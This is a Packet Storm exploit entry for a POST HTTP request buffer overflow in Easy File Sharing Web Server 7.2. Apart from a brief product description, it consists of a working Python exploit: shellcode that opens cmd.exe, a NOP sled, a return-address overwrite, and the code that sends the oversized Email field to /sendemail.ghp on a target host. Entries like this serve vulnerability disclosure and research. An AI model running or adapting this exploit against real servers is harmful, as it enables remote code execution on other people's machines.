Easy File Sharing Web Server 7.2 Buffer Overflow

2017-06-12T00:00:00
ID PACKETSTORM:142911
Type packetstorm
Reporter Touhid M.Shaikh
Modified 2017-06-12T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
  
# Title : EFS Web Server 7.2 POST HTTP Request Buffer Overflow  
# Author : Touhid M.Shaikh  
# Date : 12 June, 2017  
# Contact: touhidshaikh22@gmail.com  
# Version: 7.2  
# category: Remote Exploit  
# Tested on: Windows XP SP3 EN [Version 5.1.2600]  
  
  
"""  
######## Description ########  
  
What is Easy File Sharing Web Server 7.2 ?  
Easy File Sharing Web Server is a file sharing software that allows  
visitors to upload/download files easily through a Web Browser. It can help  
you share files with your friends and colleagues. They can download files  
from your computer or upload files from theirs.They will not be required to  
install this software or any other software because an internet browser is  
enough. Easy File Sharing Web Server also provides a Bulletin Board System  
(Forum). It allows remote users to post messages and files to the forum.  
The Secure Edition adds support for SSL encryption that helps protect  
businesses against site spoofing and data corruption.  
  
  
######## Video PoC and Article ########  
  
https://www.youtube.com/watch?v=Mdmd-7M8j-M  
http://touhidshaikh.com/blog/poc/EFSwebservr-postbufover/  
  
"""  
  
import httplib  
  
  
total = 4096  
  
#Shellcode Open CMD.exe  
shellcode = (  
"\x8b\xec\x55\x8b\xec"  
"\x68\x65\x78\x65\x2F"  
"\x68\x63\x6d\x64\x2e"  
"\x8d\x45\xf8\x50\xb8"  
"\xc7\x93\xc2\x77"  
"\xff\xd0")  
  
  
our_code = "\x90"*100 #NOP Sled  
our_code += shellcode  
our_code += "\x90"*(4072-100-len(shellcode))  
  
# point Ret to Nop Sled  
our_code += "\x3c\x62\x83\x01" # Overwrite RET  
our_code += "\x90"*12 #Nop Sled  
our_code += "A"*(total-(4072+16)) # ESP pointing  
  
  
  
# Server address and POrt  
httpServ = httplib.HTTPConnection("192.168.1.6", 80)  
httpServ.connect()  
  
httpServ.request('POST', '/sendemail.ghp',  
'Email=%s&getPassword=Get+Password' % our_code)  
  
response = httpServ.getresponse()  
  
  
httpServ.close()  
  
"""  
NOTE : After Exiting to cmd.exe our server will be crash bcz of esp  
Adjust esp by yourself ... hehhehhe...  
"""  
  
"""  
__ __| _ \ | | | |_ _| __ \  
| | | | | | | | | |  
| | | | | ___ | | | |  
_| \___/ \___/ _| _|___|____/  
  
Touhid M.Shaikh  
"""  
`